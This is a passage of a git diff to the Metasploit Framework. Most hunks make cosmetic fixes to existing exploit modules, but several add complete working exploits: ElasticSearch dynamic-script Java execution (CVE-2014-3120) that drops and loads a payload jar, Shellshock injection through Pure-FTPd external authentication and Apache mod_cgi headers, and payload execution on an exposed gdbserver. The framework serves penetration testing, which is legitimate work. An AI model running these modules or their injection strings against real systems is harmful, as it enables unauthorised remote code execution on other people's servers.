This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Sending java reverse shell") else port = datastore['LPORT'] - datastore['RHOST'] = cli.peerhost + host = cli.peerhost vprint_status( "Java bind shell" ) end if jar diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 71d595d55d..b01bba4436 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "1.0", # :ua_maxver => "1.7.10", - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", @@ -28,14 +28,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution', + 'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, - 'Author' => ['hdm', 'Aviv Raff '], + 'Author' => ['hdm', 'Aviv Raff '], 'References' => [ ['CVE', '2005-2265'], diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index c5eef0abcf..e8f5185a65 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 72aa51c2a7..0e426d005b 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote autopwn_info({ :ua_name => HttpClients::OPERA, :ua_maxver => "9.10", - :os_name => [ OperatingSystems::WINDOWS, OperatingSystems::LINUX ], + :os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ], :javascript => true, :rank => ExcellentRanking, # reliable cmd exec, cleans up after itself :vuln_test => nil, diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 2c7a1efb27..470e2f1eb5 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Roberto Suggi', # Discovered the vulnerability - 'Aviv Raff ', # showed it to be exploitable for code exec + 'Aviv Raff ', # showed it to be exploitable for code exec 'egypt', # msf module ], 'References' => diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 7b8e6d990c..5a1e3c5e1b 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb new file mode 100644 index 0000000000..cd8e65dcb5 --- /dev/null +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -0,0 +1,220 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', + 'Description' => %q{ + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, + exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the + REST API, which does not require authentication, where the search + function allows dynamic scripts execution. It can be used for remote attackers + to execute arbitrary Java code. This module has been tested successfully on + ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. + }, + 'Author' => + [ + 'Alex Brasetvik', # Vulnerability discovery + 'Bouke van der Bijl', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3120'], + ['OSVDB', '106949'], + ['EDB', '33370'], + ['URL', 'http://bouk.co/blog/elasticsearch-rce/'], + ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'ElasticSearch 1.1.1 / Automatic', { } ] + ], + 'DisclosureDate' => 'Dec 09 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), + OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) + ], self.class) + end + + def check + result = Exploit::CheckCode::Safe + + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + + result + end + + def exploit + print_status("#{peer} - Trying to execute arbitrary Java...") + unless vulnerable? + fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") + end + + print_status("#{peer} - Discovering remote OS...") + res = execute(java_os) + result = parse_result(res) + if result.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") + else + # TODO: It'd be nice to report_host() with this info. + print_good("#{peer} - Remote OS is '#{result}'") + end + + jar_file = "" + if result =~ /win/i + print_status("#{peer} - Discovering TEMP path") + res = execute(java_tmp_dir) + result = parse_result(res) + if result.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") + else + print_good("#{peer} - TEMP path identified: '#{result}'") + end + jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" + else + jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar") + end + + register_file_for_cleanup(jar_file) + execute(java_payload(jar_file)) + end + + def vulnerable? + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + + java = java_sum([addend_one, addend_two]) + + vprint_status("#{peer} attempting to execute '#{java}' in Java") + res = execute(java) + result = parse_result(res) + + if result.nil? + vprint_status("#{peer} no response to executed Java") + return false + else + vprint_status("#{peer} response to executed Java: #{result}") + result.to_i == sum + end + end + + def parse_result(res) + unless res + vprint_error("#{peer} no response") + return nil + end + + unless res.code == 200 && res.body + vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") + return nil + end + + begin + json = JSON.parse(res.body.to_s) + rescue JSON::ParserError + return nil + end + + begin + result = json['hits']['hits'][0]['fields']['msf_result'] + rescue + return nil + end + + result.is_a?(::Array) ? result.first : result + end + + def java_sum(summands) + summands.join(' + ') + end + + def to_java_byte_array(str) + buff = "byte[] buf = new byte[#{str.length}];\n" + i = 0 + str.unpack('C*').each do |c| + buff << "buf[#{i}] = #{c};\n" + i = i + 1 + end + + buff + end + + def java_os + "System.getProperty(\"os.name\")" + end + + def java_tmp_dir + "System.getProperty(\"java.io.tmpdir\");" + end + + + def java_payload(file_name) + source = <<-EOF +import java.io.*; +import java.lang.*; +import java.net.*; + +#{to_java_byte_array(payload.encoded_jar.pack)} +File f = new File('#{file_name.gsub(/\\/, "/")}'); +FileOutputStream fs = new FileOutputStream(f); +bs = new BufferedOutputStream(fs); +bs.write(buf); +bs.close(); +bs = null; +URL u = f.toURI().toURL(); +URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u}); +Class c = cl.loadClass('metasploit.Payload'); +c.main(null); + EOF + + source + end + + def execute(java) + payload = { + "size" => 1, + "query" => { + "filtered" => { + "query" => { + "match_all" => {} + } + } + }, + "script_fields" => { + "msf_result" => { + "script" => java + } + } + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "_search"), + 'method' => 'POST', + 'data' => JSON.generate(payload) + }) + + return res + end + +end diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index b8e7a81eee..fc668215fb 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -171,7 +171,7 @@ EOF end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -179,16 +179,16 @@ EOF result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| @@ -201,7 +201,7 @@ EOF result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -431,12 +431,12 @@ EOF pdf = "%PDF-1.7" << eol # filename/comment - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(1) << nObfu("<>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(1) << n_obfu("<>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -444,28 +444,28 @@ EOF # catalog xref << pdf.length - pdf << ioDef(3) << nObfu("<>") + pdf << io_def(3) << n_obfu("<>") pdf << obj_end # outline xref << pdf.length - pdf << ioDef(4) << nObfu("<>") + pdf << io_def(4) << n_obfu("<>") pdf << obj_end # kids xref << pdf.length - pdf << ioDef(5) << nObfu("<>") + pdf << io_def(5) << n_obfu("<>") pdf << obj_end # u3d stream xref << pdf.length - pdf << ioDef(6) << nObfu("<>" % u3d_stream.length) << eol + pdf << io_def(6) << n_obfu("<>" % u3d_stream.length) << eol pdf << "stream" << eol pdf << u3d_stream << eol pdf << "endstream" @@ -473,26 +473,26 @@ EOF # u3d annotation object xref << pdf.length - pdf << ioDef(7) << nObfu("<>" - pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>") + pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>") pdf << obj_end # js dict xref << pdf.length - pdf << ioDef(8) << nObfu("<>" << obj_end + pdf << io_def(8) << n_obfu("<>" << obj_end # page 0 (empty) xref << pdf.length - pdf << ioDef(9) << nObfu("<>") + pdf << io_def(9) << n_obfu("<>") pdf << obj_end # page 1 (u3d) xref << pdf.length - pdf << ioDef(10) << nObfu("<>") + pdf << io_def(10) << n_obfu("<>") pdf << obj_end # xrefs @@ -506,7 +506,7 @@ EOF # trailer pdf << "trailer" << eol - pdf << nObfu("<>" << eol + pdf << n_obfu("<>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 0f73151539..96e8152bf5 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index e526ecdcc1..3b72a6101e 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index 364a79eb13..ebc004871b 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'PeaZip <= 2.6.1 Zip Processing Command Injection', + 'Name' => 'PeaZip Zip Processing Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in PeaZip. All versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb new file mode 100644 index 0000000000..8abe07fe3e --- /dev/null +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Ftp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', + 'Description' => %q( + This module exploits the code injection flaw known as Shellshock, which leverages specially + crafted environment variables in Bash. + + Please note that this exploit specifically targets Pure-FTPd compiled with the --with-extauth + flag, and an external Bash program for authentication. If the server is not set up this way, + understand that even if the operating system is vulnerable to Shellshock, it cannot be + exploited via Pure-FTPd. + ), + 'Author' => + [ + 'Stephane Chazelas', # Vulnerability discovery + 'Frank Denis', # Discovery of Pure-FTPd attack vector + 'Spencer McIntyre' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-6271'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'], + ['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules'] + ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => :printf + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => :printf + } + ] + ], + 'DefaultOptions' => + { + 'PrependFork' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014')) + register_options( + [ + Opt::RPORT(21), + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) + ], self.class) + deregister_options('FTPUSER', 'FTPPASS') + end + + def check + # this check method tries to use the vulnerability to bypass the login + username = rand_text_alphanumeric(rand(20) + 1) + random_id = (rand(100) + 1) + command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" + if send_command(username, command) =~ /^2\d\d ok./i + disconnect + return CheckCode::Safe if banner !~ /pure-ftpd/i + + command = "echo auth_ok:0; echo end" + if send_command(username, command) =~ /^5\d\d login authentication failed/i + disconnect + return CheckCode::Vulnerable + end + end + disconnect + + CheckCode::Safe + end + + def execute_command(cmd, _opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + username = rand_text_alphanumeric(rand(20) + 1) + send_command(username, cmd) + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") + end + + execute_cmdstager(linemax: 500) + handler + end + + def send_command(username, cmd) + cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" + connect + send_user(username) + password_result = send_pass(cmd) + disconnect + password_result + end +end diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index 1ede0f8401..3a910ece59 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb new file mode 100644 index 0000000000..c9321bef8b --- /dev/null +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Gdb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GDB Server Remote Payload Execution', + 'Description' => %q{ + This module attempts to execute an arbitrary payload on a loose gdbserver service. + }, + 'Author' => [ 'joev' ], + 'Targets' => [ + [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], + [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691'] + ], + 'DisclosureDate' => 'Aug 24 2014', + 'Platform' => %w(linux unix osx), + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependFork' => true + } + )) + + register_options([ + OptString.new('EXE_FILE', [ + false, + "The exe to spawn when gdbserver is not attached to a process.", + '/bin/true' + ]) + ], self.class) + end + + def exploit + connect + + print_status "Performing handshake with gdbserver..." + handshake + + enable_extended_mode + + begin + print_status "Stepping program to find PC..." + gdb_data = process_info + rescue BadAckError, BadResponseError + # gdbserver is running with the --multi flag and is not currently + # attached to any process. let's attach to /bin/true or something. + print_status "No process loaded, attempting to load /bin/true..." + run(datastore['EXE_FILE']) + gdb_data = process_info + end + + gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) + + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) + end + + print_status "Writing payload at #{gdb_pc}..." + write(payload.encoded, gdb_pc) + + print_status "Executing the payload..." + continue + + handler + disconnect + end + +end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 77000a4e21..1c4f635b8e 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index 80a45a69ca..d8f6182078 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,11 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit', + 'Name' => 'Active Collab "chat module" Remote PHP Code Injection Exploit', 'Description' => %q{ - This module exploits an arbitrary code injection vulnerability in the chat module - that is part of Active Collab by abusing a preg_replace() using the /e modifier and - its replacement string using double quotes. The vulnerable function can be found in + This module exploits an arbitrary code injection vulnerability in the + chat module that is part of Active Collab versions 2.3.8 and earlier by + abusing a preg_replace() using the /e modifier and its replacement + string using double quotes. The vulnerable function can be found in activecollab/application/modules/chat/functions/html_to_text.php. }, 'License' => MSF_LICENSE, @@ -96,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote # response handling if res and res.code == 302 - if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/) + if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/ acsession = $1 end elsif res and res.body =~ /Failed to log you in/ diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index d0b5a4f408..99a06bd5bd 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb new file mode 100644 index 0000000000..2e1d3f686f --- /dev/null +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable by default. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu', # Original Metasploit aux module + 'juan vazquez', # Allow wvu's module to get native sessions + 'lcamtuf' # CVE-2014-6278 + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptString.new('METHOD', [true, 'HTTP method to use', 'GET']), + OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']), + OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]), + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), + OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]), + OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']]) + ], self.class) + end + + def check + res = req("echo #{marker}", datastore['CVE']) + + if res && res.body.include?(marker * 3) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") + end + + execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) + + # A last chance after the cmdstager + # Trying to make it generic + unless session_created? + req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}", datastore['CVE']) + end + end + + def execute_command(cmd, opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + + req(cmd, datastore['CVE']) + end + + def req(cmd, cve) + case cve + when 'CVE-2014-6271' + sploit = cve_2014_6271(cmd) + when 'CVE-2014-6278' + sploit = cve_2014_6278(cmd) + end + + send_request_cgi( + { + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s), + 'headers' => { + datastore['HEADER'] => sploit + } + }, datastore['TIMEOUT']) + end + + def cve_2014_6271(cmd) + %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"} + end + + def cve_2014_6278(cmd) + %Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }} + end + + def marker + @marker ||= rand_text_alphanumeric(rand(42) + 1) + end +end diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb index 6847943431..7c34f04663 100644 --- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb +++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 8c4c848762..9886a77bf7 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 4d0ffa5679..b7017589ee 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index acf1734552..4121d455c5 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -283,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) - if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) + if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end @@ -319,7 +319,7 @@ class Metasploit3 < Msf::Exploit::Remote # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) - if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) + if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index c68da26ec9..a0c6b0f4c6 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index c9f935683a..33e0c92090 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb new file mode 100644 index 